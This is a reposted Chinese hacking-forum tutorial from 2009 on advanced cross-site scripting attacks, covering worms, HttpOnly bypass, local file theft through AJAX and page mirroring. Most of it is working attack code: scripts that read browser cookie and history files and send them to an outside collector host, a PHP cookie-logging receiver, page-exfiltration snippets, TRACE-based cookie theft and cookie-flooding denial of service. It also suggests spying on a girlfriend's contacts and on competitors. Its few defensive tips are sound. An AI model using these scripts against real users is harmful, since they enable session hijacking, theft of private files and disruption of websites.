XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
7 u3 k" l; Z, ^9 j% o3 a- _本帖最后由 racle 于 2009-5-30 09:19 编辑

' L6 m7 e/ L- l" u3 Q- LXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
6 X& W: E; g+ y1 M5 whttp://bbs.tian6.com/thread-12711-1-1.html
& ?. `2 V  ?6 A- l/ z转帖请保留版权

% X0 j. r4 r6 q* Z

-------------------------------------------前言---------------------------------------------------------
; f: m! D& Z% s& _" S4 u

# }/ w! i8 I/ j7 ^- C9 P6 {本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
- z) j) m4 z& G" I* A' {

如果你还未具备基础XSS知识,以下几个文章建议拜读:
  U: P2 j5 B2 F! t) ^- Z7 Vhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
; h& q: Z+ }# v8 P; Nhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
: w. j9 a7 {, ]: f3 Ehttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
) W1 J- k& I+ I, o3 Y; ^http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
: S6 b, ]0 V$ _& q2 R5 i. P9 j; Ohttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

9 S$ x1 ^( |& h) U# [
, s9 T' q) H2 K5 }
* r4 S# \0 c/ ]. ]
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
8 e+ u+ V: L* j0 q& V2 v
+ @5 c$ ^; I+ M- i4 T- K希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

, q# q7 A# H8 ?9 t( `- R如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

( @/ M$ _% A) e# ZBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

6 y- f# |; X  Q" M( R5 JQQ ZONE,校内网XSS     感染过万QQ ZONE.

) X4 g2 _, b; _# b# T! QOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

5 P/ W2 x+ x1 [..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
8 v8 k/ t4 v4 W. z) \
! b' f2 x5 v6 F" j
" b- f) Q4 q* n& E4 F
' m7 }7 b- J/ S, O5 W! Y跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
0 H' j5 Q) B. j  S! e


如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
" f  L' x* T8 |$ V/ B8 ^, M6 P: D我们在这里重点探讨以下几个问题:

: V) `; d9 ^, H8 H' B1        通过XSS,我们能实现什么?
7 s/ Q  L; W6 p1 Y/ \4 D1 Y+ }
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
  q" m% ^6 T' ^0 C$ A0 c! V4 l
7 Q* e0 e, K$ R' {( a' [3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
- A9 O+ m0 p. F8 z* U% X
4        XSS漏洞在输出和输入两个方面怎么才能避免.


1 `, z" ^( K' s  W6 Y
------------------------------------------研究正题----------------------------------------------------------

# A0 K/ g! K' ]+ h- h
% h! I; [& }+ q2 N* C7 k* g- V
3 l6 p. C- r0 G通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
- s6 o  h( U2 p7 @2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
  J4 d) o9 C" k' k) l( `! O3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
* Y% T) G; Z" b3 b) l* c4:Http-only可以采用作为COOKIES保护方式之一.
' C" `6 q& \. ?1 m5 G* z
+ B1 q  {, g: d7 ~+ ~3 g

: i; m. d! m1 B! o1 i6 k" r
" M% M$ `; s( e& T- \
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
6 a; o4 }7 B& f' G# d
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
/ L2 b; W" U4 z" E+ f  A, X

6 T* R# f  A$ F9 a) m
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


' X0 M1 \: P6 q( N/ E
1 g% D5 ~( a2 N+ z8 w. F& b  [    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
0 @* I: K6 z+ b# d
7 [: Y0 m$ o" |4 H; Q

. X1 g4 W3 p" G- s$ x" u    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
8 i9 Z6 Q' W$ D! y. j6 t% p复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
- j- R3 [" E, b  o- \0 r/ f# ^
7 W4 J) e# L8 g

* l$ ?4 T# r4 A& M* `    function ajax_obj(){

    var request = false;
, O8 R8 z0 Z8 c( c( X
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
$ R; ~4 b' k  O( }9 z7 C
    } else if(window.ActiveXObject) {
  s0 `" y  B- k& z8 @" H
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


& |& \- i$ A& p6 V
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, S8 c$ r, J- h; M) c1 u/ `$ r
    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions);
0 W0 [9 \( ^6 H0 e) V
    } catch(e) {}

    }

/ W  J1 n$ \3 Z$ A    }
% m  a( h( N, o+ o4 s8 M9 S' i
    return request;
1 B" i+ w  k2 N7 t/ @% o' n
    }
4 I' v' B5 K( w9 q& j- L) n& v
4 x! t$ i. |. l! z. E    var _x = ajax_obj();

! s/ r- @! [/ u2 n    function _7or3(_m,action,argv){

: j- q! ^7 k3 i, e  A    _x.open(_m,action,false);

7 i1 J: s- u  T1 C    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ R0 \: a) D; u" U% o! D! h
/ I  l3 i& K. ^. q3 `    _x.send(argv);
! {6 B' B& D, m# [; ~* c3 q, h
    return _x.responseText;

  h9 _" y+ T: i, X- G' k& |    }
# h+ J' j& Q& w2 h

  G# Y& J8 f' p! z$ Z1 r# M
/ E& O. W3 a+ H2 c2 U2 H    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
+ V( s0 k' H  [/ {6 E0 A0 h9 U
1 [2 m6 d! e2 x/ p% ?. \. s    alert(txt);
' y/ D5 L$ f6 |) t


: t! @; }/ d, L$ T; K* J8 E    </script>
+ A3 [, M9 @% \9 N复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
- c" [/ ]( d" Y4 |+ Y. _* ~7 L
4 Q- W5 N$ s8 V$ ~6 Y    function $(x){return document.getElementById(x)}


4 s$ k/ x' a8 v/ f% S9 J% `6 P' v3 F/ D3 z
7 `; ?9 L9 i0 T6 s4 r* ^    function ajax_obj(){
. k6 ^1 O- Y; T! O0 b
9 y: h9 r9 K) w4 l7 I- u9 ]9 s! c# |    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
6 C" Q! p; \& m" z5 ~" U: @0 G
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
/ s. r8 v3 T6 r% G# I: Q) m

) }( @3 Q0 w7 J4 H  W2 W" t+ q
* e5 q# ?& u0 N7 s8 S6 m2 n    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! F' t7 a4 }) O. D( ?$ N
    for(var i=0; i<versions.length; i++) {
& e' i& [. s( a4 d3 c
0 U4 k3 E  R" n, B0 G0 S    try {

8 P* @/ ]3 [* L0 u+ a    request = new ActiveXObject(versions);
8 n5 _; H( I7 `; d. @3 c  B5 `
' h. }1 `7 ^4 O% m, s' \& [4 C# |" N    } catch(e) {}

/ f5 O: a% \9 y    }
: v6 h/ ~8 H3 E% N
3 \  B* ?; k6 p. j5 c% n3 e    }
3 c, g  h# ^2 \) a$ O* m  h
( B% q3 Q0 T  T& {5 [# ?    return request;

( \; z$ k" K; _+ x9 c7 S. s    }

    var _x = ajax_obj();

  W  _% i9 b. z3 l$ _    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

: a1 R! ^9 }- J: F    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
* ?6 h0 ~, X: P& y: T8 U
    _x.send(argv);

    return _x.responseText;
+ M7 }& ?* }: D% H6 Z0 q: N
    }
. i2 o2 ?' o  c7 C( s. s

& V# B% n7 x: f  }" d+ T6 ~
( m6 z- ^' h8 T$ N) l3 I, H    var txt=_7or3("GET","1/11.txt",null);

  _! ^! r" p5 d; ^+ d6 K+ e5 O/ U    alert(txt);


, \3 ~) m' P! N
0 x$ R- A: n, A: N/ @9 W    </script>
$ e, e' ]7 @( E; U复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
$ _) e4 |' U$ R; ?5 S, F

  {" I/ A9 B7 g8 U
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

9 }6 o* e' r( _8 ~

6 S8 ]" h- O* D& H5 x<?   

4 e# M5 d2 D! W* B, V! l/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   
6 m; y9 B7 W+ k) Y5 N
/ u1 j+ C/ M9 t4 L0 M     author voidloafer@gmail.com 2009-4-22   
9 s" D% n0 w6 S! Z2 f: J2 B
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
- }( w4 T0 K/ N+ U. D$ z) h
*/  
5 k+ @3 x2 x3 X/ @
$ Y% G/ z( E' ~5 ?4 Q  nheader("Content-Disposition: attachment;filename=kxlzx.htm");   
+ L3 V/ \5 G8 m0 K- u
header("Content-type: application/kxlzx");   

/*  
$ s. L3 j0 P# u8 [+ E5 k) p6 h8 e
     set header, so just download html file,and open it at local.  
9 Y9 q4 y1 S: O$ k$ B7 C
*/  

# Y3 r( o: ^+ Z1 a" n- m0 Z/ F7 W7 d?>   
9 b& d6 D4 N6 D' |
: O' H* I3 K& g1 s) @) }9 ~1 N<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
) p) }* V: r' I9 P" T" `
* ^5 e% E4 I+ o1 y9 l6 x     <input id="input" name="cookie" value="" type="hidden">   

! [/ `. T4 `. H# Z8 L/ {5 J% P4 l. y</form>   

9 Y, a: ]* o' o& ^4 _<script>   
# K+ A9 Z  k3 ^  ?
function doMyAjax(user)   
9 U1 [0 c: ?! T" t
2 n% B2 i9 ]! ]{   
6 Y/ G" P  u( v% t% S
2 m9 ?: e6 i+ f* y- m5 Uvar time = Math.random();   
6 A' ?$ D5 j' e: J2 Z
6 {  k; I+ l6 Y' ^( b/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   
9 J& F4 X- c5 Y% @, r: D; t
5 d7 X1 H- v9 {! X( W) pstartRequest(strPer);   
$ Q# O" o* `& S3 D& s9 r: v1 l  V
5 [: {6 |- h5 I

* l; U" Q6 _: Y" x' h+ E: g}   

   
; k( C& y+ E' K7 C) R
function Enshellcode(txt)   
6 c! X& y0 V. r1 }* n. M
" p: w0 o6 P; p, u' F, b{   

. D8 {6 D8 V9 z$ C2 o: Q& i7 [var url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   
0 ?+ [) _* N* ~! P9 y5 x
$ m  o9 z: _4 F1 N1 N- d( ~for(;i<l;i++){   

$ n- Y, j9 W) x! ~k=url.charCodeAt(i);   

" `3 r  w  \  L' `; V6 Oif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

) _2 u4 `7 X- Kif (l%2){curl+="00";}else{curl+="0000";}   
6 u. g& c6 e& B, E7 l/ P6 h
1 O! v$ L. N; H  z* J5 J" w+ I- i$ Xcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
. Z  a2 p5 f1 ?4 {( V( c. O
7 O, v- @' K5 @7 I$ |& I! areturn curl;   

}   

   

: N8 R; F# b. [. B1 v  @3 b- K   

var xmlHttp;   
5 B5 j( K; p9 O, E4 M. l! w- z
: c4 c+ a& ]' ?) n% \( Q4 ^) efunction createXMLHttp(){   
" u& f7 s8 b& U! O8 D
     if(window.XMLHttpRequest){   

0 b0 C2 S, t$ W8 d9 R  pxmlHttp = new XMLHttpRequest();           

     }   
0 l; ]& W; T5 T
6 U- U% y$ j- h' Z/ n' y     else if(window.ActiveXObject){   

7 S4 m* m7 j1 Z) }8 H! qxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

8 @- n4 R. U  v2 J" z9 j) p" s- p     }   
" u  M) q+ F2 b9 E
8 M  k# A; C1 d6 d3 ^}   
% j8 t! h; p! G6 h$ \
   
. ^4 K$ g. ^) _5 Q6 f' K. g
function startRequest(doUrl){   

$ D: I) E6 @! h& S, D! |* \   
( e" @( q, \; @3 {
     createXMLHttp();   
6 e; }0 h+ G: b/ a) V9 b$ c/ t6 }

4 K7 H, v% r# x- q$ B2 c
  ~! M! P' m& _4 Z* {) ?     xmlHttp.onreadystatechange = handleStateChange;   



- k! h7 m5 N3 Y- R& z     xmlHttp.open("GET", doUrl, true);   
. |9 ^$ s  Z9 j1 e
% V" o# |; o. d& V2 w) Y% i! q

     xmlHttp.send(null);   
4 t3 m, m& s+ N  k6 C/ t4 w9 D* ]


" s( O( c0 _' ]4 |/ |5 o3 `: `
, ~5 Y! Q' A9 {& ~: w
}   

   
4 s3 }( F) ]$ U6 f) G' a$ _
' v, p- y/ J- |! r8 Hfunction handleStateChange(){   
" u% u% a; I* e9 y& ^
2 |2 `" w3 \+ U9 e     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

, U8 B- I! l# G5 w/ {' \     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

; \9 k5 E/ B9 w; t3 Y        
. b: d& B4 V& i; E
6 [6 g4 @" S1 x, d6 j5 C0 W+ E     }   

( D0 g1 }2 ~' ]3 E# \}   

   

/ Y; v7 E4 W+ R$ ]2 e$ Q0 ~   

& |8 t& ]# D* I& X+ Rfunction framekxlzxPost(text)   
% ?& h- S% H! h, N( H2 [
( K0 R2 Q7 Z3 [9 ?) ]+ v( N+ f1 v{   

8 j& m' P( f8 F  a! h; m  E' }     document.getElementById("input").value = Enshellcode(text);   
4 C# X) ~, N7 X  h# Y& _8 M5 j
     document.getElementById("form").submit();   
1 H' g6 [) h+ [2 W
: i; _, a6 I' U3 }" \}   
$ Z# H4 V0 S# y3 ~4 a% y# I2 k2 X. Z
: L0 O7 v! V# e, U1 e# l* e+ K   
, Y& S) o; q6 c! b) W. [
$ P3 u. A2 r2 t4 \8 UdoMyAjax("administrator");   

( B6 D$ E  `6 A% X4 {   

% B$ b+ B- a- ^; G</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
  q9 S& V3 F) N* R3 U
3 }* a9 Q$ l" U" X( @function createXMLHttp(){  
# l& f( p1 H7 |6 W" b. Z) P% [: C
     if(window.XMLHttpRequest){  
/ ?* M7 G) L7 C$ l/ T
         xmlHttp = new XMLHttpRequest();         

     }  

     else if(window.ActiveXObject){  
" {% W1 L% V& r8 W* k
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
) g& v. [  N3 q# a3 P3 I9 A
     }  
  U' l7 f/ }# @3 n# L
}  
/ X7 b& T4 C8 L2 c+ @
) t' i. ]" G0 Z4 x5 h9 f' U   
6 {/ p; T) ?" k4 w
1 A! C; [* H! a( {$ d+ U& rfunction startRequest(doUrl){  

           

     createXMLHttp();  
' U0 V0 K6 v) _3 }' o; s% w, c
      

     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  

7 v) Z; A% u. t$ u% l* }4 c      
* l% F) ~4 a  k$ Y  q& S% |% J
     xmlHttp.send(null);  
9 |" l- C* Z8 Y) X
      
( E4 V! I* Q( i3 k/ g9 g1 W
      

}   

   
8 w" U& R1 [* K, E8 D' P: a
7 ?$ y$ S- z, @- o: k  B+ afunction handleStateChange(){  
5 b, K. j& V4 _, ~9 }0 W
: E" S2 I) P' v6 _2 U' A( `; I) H     if (xmlHttp.readyState == 4 ){  
% @8 {9 L+ }$ F# v8 n# Y0 l
             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
* ]8 X1 p7 J* |7 y1 c' c, @
               
" d% E5 k, ^) B  F1 J! G
* ~, Y# ?  a! k" T     }  
0 \* d: Q! d  y$ ~
: G3 _' k, ^8 c7 u}  

( E+ ?, [0 |+ v: O. O   
$ L3 W# H: e! E' E) x% Y
: ]0 l6 f  H5 @5 g- l9 w. Pfunction doMyAjax(user,file)  

{  
7 }' G+ S+ X4 Q& ?" ]1 m0 ~) s" y
( f( Q+ j/ C- `; a         var time = Math.random();  

           

  b7 T1 k6 L8 \5 \  S$ F         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
0 o. v& R( J# B
7 o; f7 x& C7 M4 J* m+ u$ H* h           
8 j: [' H: Q+ H1 n
         startRequest(strPer);  

+ }% m! z  _- X/ M7 w+ ~' _      

}  

& Z2 A" c( L  ^% e   
1 F+ [& W: I0 Z" X2 N
function framekxlzxPost(text)  
+ d: Q# L- X! Y1 e0 p8 _) D& n1 L
{  

- _" i3 v+ T8 k& r     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
* m" C( s/ ~# M4 R+ X
# L- U, q' s7 J! k% v}  
; D# q: S* f2 {# f- h3 n+ |
   

doMyAjax('administrator','administrator@alibaba[1].txt');  

+ M# S# V% Z$ u! i# w) x5 s   

</script>

' d% V( }6 i# o7 \6 j  r. C
. e) x0 s/ r5 [0 W


  p- G9 e) F8 A) ia.php



<?php      

   
% w% f0 y' D5 e
& U) X, @9 W8 y; T" f$ C$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

. `3 Y% J% t1 T$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
+ i6 U2 e" R, h9 u0 T  F
  
$ ?0 K* R* f; {3 G$ j
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

$ b* T, T) n) I" K4 K* Ofwrite($fp,$_GET["cookie"]);      

; T: ~/ T8 a, _3 hfclose($fp);   
0 U2 c  o! Q) N+ P6 I, \
?>
$ v$ {  U. l7 W' t& U; ~9 B3 a* u! g  C复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
6 m) A7 \# k" d7 K* W; e9 h
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
9 D( z# M% j) N! s: v利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

/ `9 d5 ^/ I. Q+ D6 Q" f) r% m//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
" I" V7 L# g: W4 C+ x6 A
3 n* l( \4 s( v7 m7 x6 s5 Q//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

' C5 K; O6 h1 T7 D! F+ lfunction getURL(s) {

( \& d! h. t! I+ e2 l; y. vvar image = new Image();
3 U% |% U9 I% y; [
9 W* T1 M1 ^2 T6 z* jimage.style.width = 0;

5 m6 ]: j9 V# P. J% W! Q9 [7 b- Bimage.style.height = 0;

image.src = s;
( y8 {' ]  N0 Z$ H( E$ |% g; b
}

" ?( Z3 r" a, ~1 y$ y' j1 @getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
" F# D; J0 `: s! g这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
2 q5 H% G" Y8 M; ~% B, r
var str = "";

while (str.length < 4000){

    str += metastr;
' e: n6 x: F. v9 e- q; d& O
}
4 R0 `# P% Y, S


8 s3 R5 W4 a' y2 i7 ~$ y2 _document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
# {" w& `7 G6 z6 y& f复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
: e5 ?( T/ a7 e1 T- x
; _+ _% e% y7 N) e# o' s; M
) i+ l0 Y* b) \. Z2 p+ z6 N

4 A. Y% D: \: f) B1 l
6 z$ d! f& E2 F% X* u# X6 o3 ~2 q4 ]! P  ?
2 s+ A$ A# [; u  J0 N(III) Http only bypass 与 补救对策:
% Q# \  m- G1 j8 Y
6 o% ^2 S0 A  r7 c* U# X, F& R$ `$ o什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
! [% y1 N4 o; @* h; q. d. M2 H0 C以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

$ ^/ Z. |4 @; q7 Q<!--

function normalCookie() {

/ x) P3 Z5 k1 U8 |! n' {document.cookie = "TheCookieName=CookieValue_httpOnly";

& r% j7 O3 H8 u1 H3 `alert(document.cookie);
& r( _7 v$ R2 A  y0 Y6 l) f& @4 k
% Q% `# `, d" m0 O}
0 ?) m: q- T* Q, I" G$ \




function httpOnlyCookie() {
7 G' F* L  a( W" t, {) p; M
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

' k7 n! [2 b) q& d  t. R( Zalert(document.cookie);}

3 H* L& u+ o4 f0 B1 E0 D9 w' Y

//-->

/ o# Q0 i% I5 P. u  I: m</script>
3 T- H: w! P2 V& X, {# h' [
' j; J$ @! ^* r3 R6 z, Q5 c0 q0 I8 C
# J6 z" r7 `- ]7 C- ~
5 u% X* K% l3 l' p9 t<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
  K, W# ~9 V4 l
) x7 z( l5 `  ^' c" v, v<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
5 ?9 P) V7 x( A& M$ M; x6 l' b: H; `复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
. |) v( C4 |( _. I' ^# z
) y9 v+ ]! G% O( J$ ]

var request = false;
7 C1 _8 q4 @6 T. S; M. F
+ g9 }7 K! @7 L4 u3 Q6 l# X8 D+ m5 |        if(window.XMLHttpRequest) {
2 m: O+ U2 \7 K5 u
# C; u% a# c/ b( Y            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
; ~8 ?2 Y4 ?; J: @
& s% F% D7 G- m; x! R0 p" b                request.overrideMimeType('text/xml');

% g+ p2 {  _" L( A/ L8 v. E' o9 @- t            }
: [4 _5 ?0 u- B
; A. N; Y$ ?. U$ F, o* [1 {        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

                try {

                    request = new ActiveXObject(versions);
9 I& h6 T& j9 T. }
                } catch(e) {}
- J8 V3 E( L3 d0 _4 m
            }

        }

  f6 T* e5 L- _9 Y$ vxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
- z3 n9 m, J6 c; N# r
xmlHttp.send(null);

% G  u, {, \- |# T: B' e% Q* yxmlDoc=xmlHttp.responseText;

, R& P# X: m4 V, Palert(xmlDoc);
0 o3 }8 b; F2 A0 T( v1 ]
/ ]/ s" v. l" H# K- y</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

% k% I& e' R$ v$ Gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

7 e2 l; D& p, p% N2 r9 _9 \XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
# P! W4 Z3 I9 u, h* ~5 R0 I. H( R; J
var resource=xmlHttp.responseText

1 ]. h( X- a& B0 h9 presource.search(/cookies/);
- k6 S: Z1 @/ f+ O2 D$ p2 Z
5 S5 f; k7 _, R: _9 A8 h......................
% Q# M- g. M4 t; ^6 L) ^' M
- a* E2 J+ v- }7 g  \& m</script>


& I  p: T( V% n9 v
6 d6 I- t( i3 X  D) v

0 ]# I7 ]; E& H7 d" R- d如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
: K; s  d1 c( R* O
- S  O9 |& S3 J0 f[code]
$ i: d. }; R* @4 m" Z# b
RewriteEngine On

& h  F  E" E6 e; |9 y% J' fRewriteCond %{REQUEST_METHOD} ^TRACE
# j- O$ a) m& z4 j
RewriteRule .* - [F]

9 b# m0 h+ W5 D
0 G+ U" g% X' Z/ E( M! c
9 n+ U" ]: h) a/ t' t- ZSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

2 E5 f. N0 Q. I8 _acl TRACE method TRACE
; ?  {5 M8 F4 ]6 G; H# |  W
...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

